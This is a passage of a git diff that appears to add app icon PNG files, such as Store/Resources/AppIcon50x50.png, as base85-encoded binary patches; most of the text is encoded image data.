z+~U}AORE#sHcn@pU0mJVJ$x_tUGxtK42rxGbu}6vb1gn0F^PODIVCeI`)*F|z598O ziXIm~DS2A@>}7RLZC(AV*Kbdfq*kn4DZNtWAHSqlM8kj5>sPMYYP5R85eFHcaHVbg zZmdy0dgtMb7Flg$M?mF#M33CY?fW@9`2V=}$Fu)$j@|tK<=KBb_J8`tM68vTf;Ufk zJpzkZwqS(Kn2zISaN56Vs97vmI9&CEbSq|B^i#C+d)y#Td}L~Hmez(Ai06pe5tvE7 z1hGXByoBRw#gbxZHV08rpagL{)JBM;LWS;ZQZHxTLF;XJV`NG@cJhV^DxeIsJO zYkef?LH~Z4)t|3IUZmX>Zyl>&d@x^hXAwtPlBvdZNf7JiMuZ=i9o`A6I-&UgsdLd$ zW!gWLAe!v15xcu^(UA0j0E1iF8TWXZBK+Pn)mXepYDW70kRUS2|1s41V~6P0%i@@7KNMp<7lNzzc;{E>~1-~Dt1~DS$UrVchclKX94N3-P8(xn? zO{#)?`N;NBEx*L&sN+3cFDlZX4ChKA`NM1`$A28NaP-C-em;ob%$ z>US^0oWYMEd4KcwrBF5RO2fTveXTu?;n@%EPL*?uT}rm!-F^CJsf%r9zTbgIVshdu z(-bq7c`Gm`0|-LemVO_QAe_4*(5nb^O_%jo3;b;owm;>RdM~`dCp)yBro8odYxab3 z-2@BnqL2w^46_91L=Q-T5(Kk*%J^fjP6JTIu}ZbNDISo%H@dY_C$VBuv7tpug5Yer zwU3j1+ZEg88r0z~=qAJ2~-YLE|OhVgJIQ;nV>A!gr@g3cR_CJ#qI znswuvGmIw_-fGqT=dz4!12S*M^UJ%(TiQ*6Y}~C@es|j)(&Q0S=u7#)^fd5KEY2=@ zQlb0f>H@ZS)_&Nk`HV95i~Yt|43oQAPhX-brIq6~<3)$6WrWjS60C=2k9DH}4 zc)xJZ`R(7(NEyzy(Uc75JiGR5gN)rczc&(u_B;VKMO!xa;i1Yej_&-aWILLpoif{K zo+UvjN+$td>t}Ovdju2v8KAByq>A;-Pt^==Uj11~T!_7h1g)lqklYjo*EAj4%r#b< zpat}tqgEfQm>tYDEM}$ci+1~vB)3=-ab~cDminOnli0u3UJw+gb}lmq*JKP4Sr8-hDYkP@$>Nr}JeZ`$WZ2ToWb zQD+b`t#CVJzT; ze43Rr1pg3&wq(p>F{{~wkTOFo>kwH49TC;f+b6MVC{q;f!TEIKHd0OQ z)O*fHPx}XKowubp1%n=pE?!G$(`(|xNw@hOe4+kJ$9)~@p1Br3U#<~Xz6>Qdfhz(7 z=R3H2bfPqLllNbKopC(9V0YO5?!CdX8Sj7WifB9r)cBd>Aq}TfZ`CiCq?M?e*Ld$f zowR|J0&;}=%nViND#nH@Uc4@}YrpTOzL2ZPH;BTSz6T%erJ(ojuSQ>6{&GCeuGFc8 zTjEmZ>=997fwGd9MYodce>H9CC0G}Ydv5{6Wj+-F9zP5G%6>6B?ni0GO*V+$%qP;>*KZ z^z*wqD%9tL`m!H7-t~w`8~>!xaXB;F)6N)j`!GxB-0>lN2@`g`?MFSC zA^L!+6s5(b5TzR5&Y3uV=3z43wZz<{)Xv*D-lNR4WDGTf{2)Q3U;TrdW^uXM#2HZP zzux^fY7WO({gxoEYlVvehynKe3CM^47_K&b@S6tjt9Qd|)o74(XFL{*rHj|ZG)*o^ z5DUM)pJj3201inINKiME5DhXowCkufjWK+3`-_iJk3dz6I7d57?+I?>7ZbJLA@kpm zN2_yA^DUw(CSAX%UvS+})EQ*pJ#p;LmVgl+;V<6Wdip4mf$!X(X!8o4wQA4Fr%vJN zC!J&ZOUNzk@lVzrDn|F1Lj-;EtWyOCzc`f!SlSU2Ird4f2U82T0#q^@>v&g#ky3qv z?VHwiG?MQ3%KS{QZ{*2ArBnHLZEE&4R?DY$d`drP`DANPhE{%&c~7QjvjlO|ABGmG z5grq-E#Sg08;48U?Qe~0zj(nXwIYWK`M-<6^?-CM^J9%iVPYU3N!Rhip`c@Vt=!%a z5`Fo7E`9lIx2+HN7vxvgreq;OY$TlETcr{l7{UHtc9i__XLq$cvwg-K54zZsvuXm) zUH*Lv4W;aE+E;}!RM}bT@{Ff`nJm)B?_isfi7S9&Ep_&#Ck5sUrH(mqZTGsaJmVvk zcs?qO^pE^5xzM~^)Bf2mt!{(vQtRGUpVGNA*%E|@FEDfcQw5ii#HuDx>rFd_407Sl z!7GMJAcf87{AS9IZVpQ{uc#~9o6C_&_@T8EJP0WMT;z12F&i-m(1{(U`W3(93g_O^bE4Uut{xC zF89eDHquP`X8Kb|6ELNpjW9WPFgV0p_F&g5v;9(hYHHIeysI0yz-7dfRuGl&n>z-H z(tuS0{f&G!5P{=*1gkIVm{V>2d z;9AaGQGseI!ASI2%E?8PLkcon?UC-v86g56eivSN`hH%k@MhZhE8|8FF+CG zf)4y#K@5N86QjCASS4n_m(UN6XOC`5_CtVFdegoyH2;~DCewku5P!jWu;_0$lqTfP zH@FWxFk&$S}>IjQv%o4Q6o^AzsRYJFTqpWh^v}v`82x1MJ}t8CMPx^?BP3S z2AUQcf@gVFedRT{6bV9>U>8{0=^L}_c`w10Q_{Z&-bhW*mah6HgKSVP1s$9~Ar@Gm z4tbivuNKR`sAL5(b6ZBz4RB0jfhJ#v7Jm50^kOr0<3v5Z4W(cZrANt=AY4H|?g^80 z1IuXP*|~tiEqrND=5Vk&VZ8+Lh;@{uTz38;1!y?f)>YE~Yv3d35_R!wQDT&@s4Tnh z=jeVtmn7eWVwGL7=EI5KpK`{JVtMw{hJccME_XIe3m>*hUC*SAW9HkYj=vVPxA5Gr zE)CEAbo{<5182vIJsFE-<}ax|g<)^RB+)eq;>gk;L=vA6{y##})}O+v zF$rR@=uR|=4Dlf}w8ZSMXra=zg%2Pv@D^HKVx&8Fx1aZDh$}R^gFtZ~QaRAv}hro!tAd zN6eA&H*rlx{=V1v-zGNZaMx@Nej7{|ESCUPeYR~=sjFHI>FA9IGK_CUHeNiN^6~i< zf4R)A*|gQ$3jHkc!$;xOZubqpM^GKu+gEFI&ps?UGtuPupagMJg78

E&=ApN>+m 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 literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon50x50.png b/Store/Resources/AppIcon50x50.png new file mode 100644 index 0000000000000000000000000000000000000000..00a18950f01d6e73094a3716f630feeac02fcdd9 GIT binary patch literal 5335 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 